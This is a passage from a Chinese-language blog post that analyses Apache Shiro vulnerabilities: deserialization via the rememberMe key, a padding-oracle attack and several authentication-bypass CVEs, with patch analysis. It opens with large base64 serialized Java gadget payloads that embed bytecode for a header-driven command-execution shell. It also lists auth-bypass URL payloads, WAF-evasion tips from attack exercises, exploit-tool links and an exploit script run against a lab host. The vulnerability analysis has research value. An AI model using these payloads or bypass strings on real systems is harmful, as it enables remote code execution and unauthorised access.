lwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXQACGY1YTVhNjA4cQB+AAl4dnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHg=",
                    "Jdk8u20":"rO0ABXNyABdqYXZhLnV0aWwuTGlua2VkSGFzaFNldNhs11qV3SoeAgAAeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAABzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAFSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WgAVX3VzZVNlcnZpY2VzTWVjaGFuaXNtWwAKX2J5dGVjb2Rlc3QAA1tbQkwABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7eHAAAAAB/////wF1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAPA8r+ur4AAAAyAOkBAAxGb29veTZhOTVuNkYHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAEUZvb295NmE5NW42Ri5qYXZhAQAJd3JpdGVCb2R5AQAXKExqYXZhL2xhbmcvT2JqZWN0O1tCKVYBACRvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmJ1Zi5CeXRlQ2h1bmsIAAkBAA9qYXZhL2xhbmcvQ2xhc3MHAAsBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwADQAOCgAMAA8BAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAARABIKAAwAEwEACHNldEJ5dGVzCAAVAQACW0IHABcBABFqYXZhL2xhbmcvSW50ZWdlcgcAGQEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAGwAcCQAaAB0BABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAB8AIAoADAAhAQAGPGluaXQ+AQAEKEkpVgwAIwAkCgAaACUBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHACcBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMACkAKgoAKAArAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAtAC4KAAQALwEAB2RvV3JpdGUIADEBAAlnZXRNZXRob2QMADMAIAoADAA0AQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcANgEAE2phdmEubmlvLkJ5dGVCdWZmZXIIADgBAAR3cmFwCAA6AQAEQ29kZQEACkV4Y2VwdGlvbnMBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwA+AQANU3RhY2tNYXBUYWJsZQEABWdldEZWAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABDAEQKAAwARQEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcARwEADWdldFN1cGVyY2xhc3MMAEkALgoADABKAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAjAEwKAEgATQEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QHAE8BAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAUQBSCgBQAFMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcAVQEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABXAFgKAFYAWQEAEGphdmEvbGFuZy9TdHJpbmcHAFsBAAMoKVYMACMAXQoABABeAQAQamF2YS9sYW5nL1RocmVhZAcAYAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAYgBjCgBhAGQBAA5nZXRUaHJlYWRHcm91cAEAGSgpTGphdmEvbGFuZy9UaHJlYWRHcm91cDsMAGYAZwoAYQBoAQAHdGhyZWFkcwgAagwAQQBCCgACAGwBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwBuAQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DABwAHEKAGEAcgEABGV4ZWMIAHQBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAdgB3CgBcAHgBAARodHRwCAB6AQAGdGFyZ2V0CAB8AQASamF2YS9sYW5nL1J1bm5hYmxlBwB+AQAGdGhpcyQwCACAAQAHaGFuZGxlcggAggEABmdsb2JhbAgAhAEACnByb2Nlc3NvcnMIAIYBAA5qYXZhL3V0aWwvTGlzdAcAiAEABHNpemUBAAMoKUkMAIoAiwsAiQCMAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DABXAI4LAIkAjwEAA3JlcQgAkQEAC2dldFJlc3BvbnNlCACTAQAJZ2V0SGVhZGVyCACVAQAIVGVzdGVjaG8IAJcBAAdpc0VtcHR5AQADKClaDACZAJoKAFwAmwEACXNldFN0YXR1cwgAnQEACWFkZEhlYWRlcggAnwEAB1Rlc3RjbWQIAKEBAAdvcy5uYW1lCACjAQAQamF2YS9sYW5nL1N5c3RlbQcApQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMAKcAqAoApgCpAQALdG9Mb3dlckNhc2UMAKsAcQoAXACsAQAGd2luZG93CACuAQAHY21kLmV4ZQgAsAEAAi9jCACyAQAHL2Jpbi9zaAgAtAEAAi1jCAC2AQARamF2YS91dGlsL1NjYW5uZXIHALgBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIHALoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWDAAjALwKALsAvQEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAC/AMAKALsAwQEAEWphdmEvbGFuZy9Qcm9jZXNzBwDDAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwwAxQDGCgDEAMcBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMACMAyQoAuQDKAQACXEEIAMwBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMAM4AzwoAuQDQAQAEbmV4dAwA0gBxCgC5ANMBAAhnZXRCeXRlcwEABCgpW0IMANUA1goAXADXDAAHAAgKAAIA2QEADWdldFByb3BlcnRpZXMBABgoKUxqYXZhL3V0aWwvUHJvcGVydGllczsMANsA3AoApgDdAQATamF2YS91dGlsL0hhc2h0YWJsZQcA3wEACHRvU3RyaW5nDADhAHEKAOAA4gEAE1tMamF2YS9sYW5nL1N0cmluZzsHAOQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwDmCgDnAF4AIQACAOcAAAAAAAMACgAHAAgAAgA8AAAA3AAIAAUAAACxEgq4ABBOLbYAFE0tEhYGvQAMWQMSGFNZBLIAHlNZBbIAHlO2ACIsBr0ABFkDK1NZBLsAGlkDtwAmU1kFuwAaWSu+twAmU7YALFcqtgAwEjIEvQAMWQMtU7YANSoEvQAEWQMsU7YALFenAEg6BBI5uAAQTi0SOwS9AAxZAxIYU7YAIi0EvQAEWQMrU7YALE0qtgAwEjIEvQAMWQMtU7YANSoEvQAEWQMsU7YALFenAAOxAAEAAABoAGsANwABAEAAAAARAAL3AGsHADf9AEQHAAQHAAwAPQAAAAQAAQA/AAoAQQBCAAIAPAAAAH4AAwAFAAAAPwFNKrYAME6nABktK7YARk2nABanAAA6BC22AEtOpwADLRIEpv/nLAGmAAy7AEhZK7cATr8sBLYAVCwqtgBasAABAAoAEwAWAEgAAQBAAAAAJQAG/QAKBwBWBwAMCP8AAgAEBwAEBwBcBwBWBwAMAAEHAEgJBQ0APQAAAAQAAQA/AAEAIwBdAAIAPAAAAzYACAANAAACPyq3AOgDNgS4AGW2AGkSa7gAbcAAbzoFAzYGFQYZBb6iAh8ZBRUGMjoHGQcBpgAGpwIJGQe2AHNOLRJ1tgB5mgAMLRJ7tgB5mgAGpwHuGQcSfbgAbUwrwQB/mgAGpwHcKxKBuABtEoO4AG0ShbgAbUynAAs6CKcBw6cAACsSh7gAbcAAiToJAzYKFQoZCbkAjQEAogGeGQkVCrkAkAIAOgsZCxKSuABtTCu2ADASlAO9AAy2ADUrA70ABLYALE0rtgAwEpYEvQAMWQMSXFO2ADUrBL0ABFkDEphTtgAswABcTi0BpQAKLbYAnJkABqcAWCy2ADASngS9AAxZA7IAHlO2ADUsBL0ABFkDuwAaWREAyLcAJlO2ACxXLLYAMBKgBb0ADFkDElxTWQQSXFO2ADUsBb0ABFkDEphTWQQtU7YALFcENgQrtgAwEpYEvQAMWQMSXFO2ADUrBL0ABFkDEqJTtgAswABcTi0BpQAKLbYAnJkABqcAjSy2ADASngS9AAxZA7IAHlO2ADUsBL0ABFkDuwAaWREAyLcAJlO2ACxXEqS4AKq2AK0Sr7YAeZkAGAa9AFxZAxKxU1kEErNTWQUtU6cAFQa9AFxZAxK1U1kEErdTWQUtUzoMLLsAuVm7ALtZGQy3AL62AMK2AMi3AMsSzbYA0bYA1LYA2LgA2gQ2BC0BpQAKLbYAnJkACBUEmgAGpwAQLLgA3rYA47YA2LgA2hUEmQAGpwAJhAoBp/5cFQSZAAanAAmEBgGn/d+xAAEAXwBwAHMAPwABAEAAAADdABn/ABoABwcAAgAAAAEHAG8BAAD8ABcHAGH/ABcACAcAAgAABwBcAQcAbwEHAGEAAAL/ABEACAcAAgcABAAHAFwBBwBvAQcAYQAAUwcAPwT/AAIACAcAAgcABAAHAFwBBwBvAQcAYQAA/gANAAcAiQH/AGMADAcAAgcABAcABAcAXAEHAG8BBwBhAAcAiQEHAAQAAAL7AFQuAvsATVEHAOUpCwQCDAf/AAUACwcAAgcABAAHAFwBBwBvAQcAYQAHAIkBAAD/AAcACAcAAgAAAAEHAG8BBwBhAAD6AAUAPQAAAAQAAQA/AAEABQAAAAIABnQAA2FiY3cBAHhzcgApamF2YS5iZWFucy5iZWFuY29udGV4dC5CZWFuQ29udGV4dFN1cHBvcnS8SCDwkY+5DAMAAUkADHNlcmlhbGl6YWJsZXhyAC5qYXZhLmJlYW5zLmJlYW5jb250ZXh0LkJlYW5Db250ZXh0Q2hpbGRTdXBwb3J0V9TvxwTcciUDAAFMABRiZWFuQ29udGV4dENoaWxkUGVlcnQAKUxqYXZhL2JlYW5zL2JlYW5jb250ZXh0L0JlYW5Db250ZXh0Q2hpbGQ7eHBxAH4ADngAAAABc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUDAAJMAAxtZW1iZXJWYWx1ZXN0AA9MamF2YS91dGlsL01hcDtMAAR0eXBldAARTGphdmEvbGFuZy9DbGFzczt4cHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAIZjVhNWE2MDhxAH4ABXh2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAMAAHhwdwQAAAAAeHhwdwwAAAAQP0AAAAAAAAJxAH4ABXN9AAAAAQAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXN4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBxAH4AEng="}

具体细节可以参考：https://cloud.tencent.com/developer/article/1848169

测试如下：

image-20220927160342383

最开始的时候，利用一键利用工具发现可以命令执行（当时是没有引入cc依赖的），但是利用链上是显示利用的Commons Beanutils链，那么下面就分析下这个Commons Beanutils链为什么可以利用成功，前面有截图说明了Shiro是自带Apache Commons Beanutils这个包的，那么能触发反序列化，就离不开这个包的一些功能特性：

Commons Beanutils是应用于JavaBean的工具

而Commons Beanutils中提供了一个静态方法 PropertyUtils.getProperty ，让使用者可以直接调用任意JavaBean的getter方法。

比如一个类User是个JavaBean，它有个name属性，则PropertyUtils.getProperty(new Usesr(),"name")则会调用它的getName()方法。

在构造cc链中有遇过TemplateImpl类，它有一个getOutputProperties方法可以触发字节码加载，如果我们可以通过反序列化的点直接或间接让其调用PropertyUtils.getProperty(new TemplateImpl(),"OutputProperties")，那就可以RCE。

在commons-beanutils-1.7.0.jar!\org\apache\commons\beanutils\BeanComparator.class中存在一个compare方法，这个compare方法可以自动调用PropertyUtils.getProperty方法，看到compare方法是不是感觉在cc链中碰到过，因此这里可以拼接上cc2链的前半段使其走到compare方法，触发RCE

image-20220927163911565

整个调用链如下：

1
2
3
4
5
6
7
8
9
10
11
12
Gadget chain:
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                BeanComparator.compare()
                    TemplatesImpl.getOutputProperties()
                        TemplatesImpl.newTransformer()
                            TemplatesImpl.getTransletInstance()
                                TemplatesImpl.defineTransletClasses()
                                    TransletClassLoader.defineClass()
                                           newInstance()
                                         Runtime.getRuntime().exec("calc.exe")

还是在前面的漏洞利用工具上，利用链显示的是CommonsBeanutils183，这里的183表示的是cb的版本号，如果碰到cb链反序列化失败的情况，那就有可能是工具中的cb的版本和漏洞环境的不一致，导致的反序列化失败，失败的原因可能是 serialVersionUID的问题，可以参考：https://blog.csdn.net/whq12789/article/details/88031965

image-20220927165337284

在打hvv期间，碰到很多存在shiro的站，但是上工具探测密钥和利用链的时候可能回碰到被WAF拦截的情况，那这个时候我们有没有可以绕过的办法呢，可以参考如下几点：

  • 修改请求方式，如修改GET/POST，使用未知HTTP请求绕过，如AAA
  • 在payload中添加特殊字符，比如空格，tab，^，………..，%%%%
  • 将请求方式和rememberMe修改为其他字符串

具体的细节可以参考：https://mp.weixin.qq.com/s/m6eHtxGTMK4igNQcMpqxaw

在实战中我们使用工具会加快我们的效率，有很多优秀的利用工具可以使用：

https://github.com/Ares-X/shiro-exploit

https://github.com/SummerSec/ShiroAttack2

https://github.com/j1anFen/shiro_attack

https://github.com/pmiaowu/BurpShiroPassiveScan

漏洞修复

Shiro 在 1.2.5 的更新 Commit-4d5bb00 中针对此漏洞进行了修复，应用程序需要用户手动配置一个 cipherKey，如果不设置，将会生成一个新 key。但是如果cipherKey泄露给攻击者，那么还是会存在遭受反序列化攻击的可能。

image-20220927173947660

CVE-2016-6802

漏洞信息

漏洞信息详情
漏洞编号CVE-2016-6802 / CNVD-2016-07814
影响版本shiro < 1.3.2
漏洞描述Shiro 使用非根 servlet 上下文路径中存在安全漏洞。远程攻击者通过构造的请求， 利用此漏洞可绕过目标 servlet 过滤器并获取访问权限。
漏洞关键字绕过 | Context Path | 非根 | /x/../
漏洞补丁Commit-b15ab92
相关链接https://www.cnblogs.com/backlion/p/14055279.html

漏洞复现

接着用CVE-2010-3863的环境，改下shiro的依赖防止和CVE-2010-3863漏洞的利用重复了，因为这个漏洞涉及项目路径，所以在springboot的配置文件中配置下项目访问的路径：

1
server.servlet.context-path=/myshiro

配置好后，访问/myshiro/secret.html显示302跳转登录

image-20220927181448518

利用poc绕过权限校验，访问/x/../myshiro/secret.html绕过成功

image-20220927181907126

一般碰到权限校验的我都会用下我的字典跑下，看看有没有其他的payload可以绕过：

image-20220927182153307

整理下可用的payload，其实和CVE-2010-3863的payload差不多

1
2
3
4
5
6
7
8
/;/myshiro/secret.html
/./myshiro/secret.html
/a.ico/../myshiro/secret.html
/%2e/myshiro/secret.html
/%3b/../myshiro/secret.html
/;%09/myshiro/secret.html
/;%09../myshiro/secret.html
/;%2F../myshiro/secret.html

看到payload应该就大致明白漏洞点在哪了，CVE-2010-3863的问题是出在requestURI剔除contextPath之后的路径没有做路径标准化处理；而本次漏洞就是处在contextPath的路径没有做路径标准化处理。

漏洞分析

还是回到WebUtils#getPathWithinApplication方法，跟进getContextPath方法

image-20220927184759844

调用HttpServletRequestWrapper#getContextPath方法获取contextPath

image-20220927184845926

继续一路跟进来到tomcat-embed-core-9.0.65.jar!\org\apache\catalina\connector\Request.class#getContextPath方法

image-20220927185010974

首先会获取第二个 “/“的位置，然后进行截取比如：/x/../myshiro/secret.html截取得到 /x，然后做路径标准化处理（做法如CVE-2010-3863的处理），这里可以看到的出来它会循环获取”/“的位置，下一次就是截取到 /x/..

image-20220927185139169

然后将截取到的路径 /x 与 context path进行比对，这里 context path即为项目路径 /myshiro， /x 和 /myshiro发现不匹配，就会获取下一个”/“的位置，即上面的 /x/..，然后继续匹配

image-20220927185426755

最后当截取的路径为 /x/../myshiro经过路径标准化处理后得到 /myshiro与之匹配，然后返回 uri.substring(0, pos)的结果即为 /x/../myshiro

image-20220927185916222

返回之后回到getPathWithinApplication方法中，判断requestUri的开头是否是contextPath，显然是false，直接返回requestUri

image-20220928094139942

而后与pathPattern进行匹配，最后匹配不上就走的/**规则

image-20220928094544368

漏洞修复

Shiro 在 1.3.2 版本更新中 Commit-b15ab92 中针对此漏洞进行了修复。修复方式和 CVE-2010-3863 一样，使用路径标准化方法 normalize 来处理 Context Path。

image-20220928100114414

CVE-2019-12422

漏洞信息

漏洞信息详情
漏洞编号CVE-2019-12422 / CNVD-2016-07814 / SHIRO-721
影响版本shiro < 1.4.2 (1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1)
漏洞描述RememberMe Cookie 默认通过 AES-128-CBC 模式加密，这种加密方式容易受到 Padding Oracle Attack 攻击，攻击者利用有效的 RememberMe Cookie 作为前缀， 然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击。
漏洞关键字反序列化 | RememberMe | Padding | CBC
漏洞补丁Commit-a801878
相关链接https://blog.skullsecurity.org/2016/12 https://resources.infosecinstitute.com/topic/padding-oracle-attack-2/ https://codeantenna.com/a/OwWV5Ivtsi

漏洞复现

环境用的是这位师傅的 https://github.com/inspiringz/Shiro-721/tree/master/Docker，搭建好后访问得到如下：

image-20220928104258960

勾选rememberMe，登录获取rememberMe的cookie value

1
rememberMe=UHO2xoJqYLimSdPUt+qvPuJc2MqyYr1MOHj20pCIpD9WYs9oc8oOvHo9DdfjY/2fNv5mB34OIgamHYByPj75f7ixcrame6ad5/F5sfKJ+7+r3qj5l0SSJMK4S9PpHHzHY4heNG1oOvcqQSekm4msr3W6YoYNPP0THVbf7u0Yt3vzMzgxJzAqbCFRDXyY6L+ryFRfyE0jjPvfHyk9G2EbZBLsvEHlUPr9AZ+GWP+VkB2mUYF8yk2QSPOzVYr0NmYOAjGIY5IJhcn7lW5USNmWuXDLF/lkJvvjzR7cKA6NvG+4u0mEbHfETPFijiwsRjEwxlORwOmMnR5SkH1MWFRspijIk4WRSFPQnexQTq+Y4uuLDU9N69UrfhlFAGI3rRni42OpEzvkyHd+k7+jHvIL0haGdxRsyXLSO3rjLVLnRaNxyuUpVya4s2iENx5/fpOqigJcYxi3l5QLMe2vAtHxNrlKMuM+Al3BYEhI/ep06zWyAiv3XrmCrIlDV5NcH3Sa

使用ysoserial生成payload

image-20220928104630508

利用脚本还是这位师傅的：https://github.com/inspiringz/Shiro-721

1
python2 .\shiro_exp.py "http://192.168.12.130:8080/myshiro/" "UHO2xoJqYLimSdPUt+qvPuJc2MqyYr1MOHj20pCIpD9WYs9oc8oOvHo9DdfjY/2fNv5mB34OIgamHYByPj75f7ixcrame6ad5/F5sfKJ+7+r3qj5l0SSJMK4S9PpHHzHY4heNG1oOvcqQSekm4msr3W6YoYNPP0THVbf7u0Yt3vzMzgxJzAqbCFRDXyY6L+ryFRfyE0jjPvfHyk9G2EbZBLsvEHlUPr9AZ+GWP+VkB2mUYF8yk2QSPOzVYr0NmYOAjGIY5IJhcn7lW5USNmWuXDLF/lkJvvjzR7cKA6NvG+4u0mEbHfETPFijiwsRjEwxlORwOmMnR5SkH1MWFRspijIk4WRSFPQnexQTq+Y4uuLDU9N69UrfhlFAGI3rRni42OpEzvkyHd+k7+jHvIL0haGdxRsyXLSO3rjLVLnRaNxyuUpVya4s2iENx5/fpOqigJcYxi3l5QLMe2vAtHxNrlKMuM+Al3BYEhI/ep06zWyAiv3XrmCrIlDV5NcH3Sa" .\payload.ser

image-20220928112434246

最后得到可利用的RememberMe Cookie，发送数据包即可，这里因为电脑比较卡，就没有跑出来。

漏洞分析

这块的漏洞原理和CVE-2016-6802讲的shiro key探测类似，都是通过异常走进catch代码块中的onRememberedPrincipalFailure方法，导致响应包出现deleteMe的字段，根据回显的不同来进行探测的

image-20220928114808156

先进入convertBytesToPrincipals方法中看下哪个点会触发异常，这里有个getCipherService方法不会导致异常的发生，那就看下decrypt方法

image-20220928115132872

跟进decrypt方法，调用arraycopy方法将原密文复制到encrypted数组中，并传入JcaCipherService#decrypt一个重载方法

image-20220928130345936

继续一直调用decrypt重载方法，最后来到这个重载方法，调用Cipher#doFinal方法

image-20220928131119321

来到AESCipher#engineDoFinal

image-20220928131235460

继续向下通过CipherCore#unpad方法检测是否padding正确，否则抛出异常

image-20220928131843275

unpad方法的检测逻辑

image-20220928132008112

所以，如果padding正确，那么就会返回正常的数据包，如果padding异常就会被最开始的AbstractRememberMeManager#getRememberedPrincipals方法捕获，进入AbstractRememberMeManager#onRememberedPrincipalFailure方法中，后面在响应包中回显deleteMe在检测key时就说明过了，不在向下分析。

有关RememberMe Padding Oracle更多的细节可以看：https://xz.aliyun.com/t/9406

漏洞修复

在 1.4.2 版本的更新 Commit-a801878 中针对此漏洞进行了修复，在AesCipherService中重写了createParameterSpec方法，设置默认使用 GCM 加密模式

image-20220928132853662

CVE-2020-1957

漏洞信息

漏洞信息详情
漏洞编号CVE-2020-1957 / CNVD-2020-20984 / SHIRO-682
影响版本shiro < 1.5.3
漏洞描述Spring Boot 中使用 Apache Shiro 进行身份验证、权限控制时，可以精心构造恶意的URL 利用 Shiro 和 SpringBoot 对 URL 的处理的差异化，可以绕过 Shiro 对 SpringBoot 中的 Servlet 的权限控制，越权并实现未授权访问。
漏洞关键字SpringBoot | 差异化处理 | / | 绕过
漏洞补丁Commit-589f10d && Commit-9762f97 && Commit-3708d79
相关链接SHIRO-742 https://www.openwall.com/lists/oss-security/2020/03/23/2 CVE-2020-2957 -> ?

漏洞复现

漏洞起源于 SHIRO-682，根据描述信息大致可以知道，在shiro和spring结合使用时，spring请求的 /resource/meuns 和 /resource/menus/ 都能够访问到资源，但是在shiro的pathPattern匹配时，会匹配上 /resource/meuns ，但不能匹配 /resource/menus/，因此可以使用reuestURI + “/“ 去绕过filter chain，绕过shiro的权限校验。

image-20220928141454818

下面简单搭建一个springboot+shiro的环境，shiro的版本用的是<=1.5.1即可，ShiroConfig配置好需要鉴权的路径

image-20220928141917697

然后访问需要权限的 /admin/index 接口，如下显示302需要登录

image-20220928142111557

这时根据漏洞的描述，访问 /admin/index/，成功绕过

image-20220928142225627

习惯性的用字典跑一下，还是可以采用 “;”进行绕过

1
2
3
/;/myshiro/admin/index 
/%3b/../myshiro/admin/index
/img/..;/myshiro/admin/index

image-20220928144402921

漏洞分析

spring 在分发请求时，会调用PathPatternsRequestCondition#getMatchingPatterns获取匹配的路径，调用的是PathPattern.mathches进行匹配，从结果来看spring认为 /admin/index 和 /admin/index/ 一样

image-20220928154502666

而shiro的路径匹配采用的是org.apache.shiro.util.PatternMatcher#matches，返回false，就导致了shiro的权限绕过

image-20220928154953327

在上面漏洞复现的时候，我会习惯性地用字典跑一个权限绕过的payload，大家应该发现每次跑的时候都存在一个 ";" 绕过的方式，而这个方式就是对上面的一种绕过，修改下环境的shiro版本，上面环境用的是shiro1.4.2，现在改用shiro1.5.2（该版本已经修复了上面采用 “/“ 进行全绕过的漏洞），在pom.xml中修改为如下

1
2
3
4
5
<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-spring</artifactId>
    <version>1.5.2</version>
</dependency>

此时，再去测试时就会发现 "/" 这种方式已经失效了

image-20220928155626915

试试之前经常用的 ";" ，可以发现依旧能够绕过权限校验

image-20220928155800583

注：该绕过方式在shiro1.5.3终于修复，下面是shiro1.5.3的环境

image-20220928155943938

那么，我们就要研究下在shiro<=1.5.2中，";" 绕过的原理是什么，以及在shiro1.5.3中又是如何修复的呢，下面开始分析。

还是从org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain方法开始分析

image-20220928162410071

这里看到获取的contextPath的值是 "/;/shiro"， 根据经验，只要requestUri不是以contextPath开头那都可能存在问题提，所以这次可能也不例外

image-20220928162756918

进入org.apache.shiro.web.util.WebUtils#getRequestUri，发现在处理uri时会调用WebUtils#decodeAndCleanUriString进行处理

image-20220928163058300

跟进WebUtils#decodeAndCleanUriString，可以发现，这里会检查uri中是否包含有 ";"，如果有，就以第一个 ";"为下标进行字符串截取，如下截取完之后就会返回 "/"

image-20220928163306583

所以，requestUri返回 "/"

image-20220928163506624

而后，在进行路径匹配时，那就是false了，shiro这层就绕过了

image-20220928163703620

那spring有是如何处理requestUri，它会对 ";" 做什么处理？

spring处理的时候会调用org.springframework.web.util.UrlPathHelper#decodeAndCleanUriString方法处理uri，如下，包含有三个方法，每一个方法都对uri进行了相应的处理

image-20220928164110510

首先，跟进UrlPathHelper#removeSemicolonContent方法，发现循环体会将;xxx/中的分号与斜杠之间的字符串以及分号本身都去掉，也就是说 "/;aa/bbb"会转化成 "/bbb"

image-20220928170023801

返回，进入第二个decodeRequestString方法，发现会根据对应的编码进行解码操作，否则进行url解码

image-20220928170702289

进入第三个getSanitizedPath方法，可以看到就是将 "//" 转成 "/"

image-20220928170850153

所以，我们的uri：/;a/myshiro/admin/index经过这三个函数转化后变成 /myshiro/admin/index

漏洞修复

对于采用 “/“的形式绕过，在Commit-589f10d 和Commit-9762f97中得到了修复，如果requestURI以 “/“结尾就去除

image-20220928171802652

第二次提交是Commit-9762f97，对path与 “/“ 做了个判断

image-20220928172255334

对使用 ";" 绕过的修复在 Commit-3708d79

image-20220928172526683

获取requestURI的方式发生了改变，改成如下方式：

1
uri = request.getContextPath() + "/" + request.getServletPath() + request.getPathInfo();

说明下这几个方法的区别：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
假设访问url为：http://127.0.0.1:8080/myshiro/admin/index
request.getContextPath()：返回上下文路径（也就是工程名）
    - 返回的就是/myshiro，如果工程名为空，那返回的也是空
request.getServletPath()：返回除去host和工程名部分的路径
    - 当访问servlet时：返回就是/admin/index
    - 当访问resource目录下的login.jsp时：返回的就是/resource/login.jsp
request.getRequestURI()：返回除去host（域名或者ip）部分的路径
    - 当访问servlet时：/myshiro/admin/index
    - 当访问resource目录下的login.jsp时：返回的就是/resource/login.jsp
request.getRequestURL()：返回的整个URL的路径请求
    - 返回的就是http://127.0.0.1:8080/myshiro/admin/index
request.getRealPath()：返回的文件所在的绝对路径，相对于当前计算机的真实路径
request.getPathInfo()：返回请求的实际URL相对于请求的serlvet的url的路径。
- 当servlet配置为(url-pattern=/admin/index/*)时，访问http://127.0.0.1:8080/myshiro/admin/index/a/b.html，则返回的就是/a/b.html
request.getScheme()：返回的是使用的协议(http 或https)
request.getProtocol()：获取的是协议的名称(HTTP/1.11)
request.getServerName()：获取的是域名
request.getLocalName()：获取到的是IP

假设访问url为：http://localhost/hehehe  （无工程名）
getContextPath:
getServletPath：/hehehe
getRequestURI():/hehehe
getRequestURL()：http://localhost/hehehe
getRealPath()：E:\java\myshiro\out\artifacts\myshiro_Web_exploded\
getPathInfo()：null

但其实在这里测试使用 ";" 还是可以绕过，因为在request.getContextPath方法处理的结果还是包含 ";"

image-20220928214909319

真正的修复在 shiro1.5.3中，直接采用getServletPath(request) + getPathInfo(request)获取requestURI，然后返回和PathPattern比对。

image-20220929001014321

再次用/;/admin/index测试得到如下：

image-20220929000516277

image-20220928215845274

CVE-2020-11989

漏洞信息

漏洞信息详情
漏洞编号CVE-2020-11989 / SHIRO-782
影响版本shiro < 1.5.3
漏洞描述将 Apache Shiro 与 Spring 动态控制器一起使用时，特制请求可能会导致身份验证绕过。
漏洞关键字Spring | 双重编码 | %25%32%66 | 绕过 | context-path | /;/
漏洞补丁Commit-01887f6
相关链接https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/ https://mp.weixin.qq.com/s/yb6Tb7zSTKKmBlcNVz0MBA

漏洞复现

之前我们在配置路径表达式的时候都是配置成/admin/**这种形式，这种风格叫Ant风格，ANT 通配符有 3 种

通配符说明
?匹配任何单字符
*匹配0或者任意数量的字符
**匹配0或者更多的目录

当配置成 /admin/*时，我们访问 /admin/a会被拦截，但是访问 /admin/a/b则不会，本次漏洞的触发原因之一就是当配置路径表达式中使用了 "*"， 下面我们搭建环境复现。

环境有点小变化，ShiroConfig配置成如下形式 /admin/*

image-20220928181605844

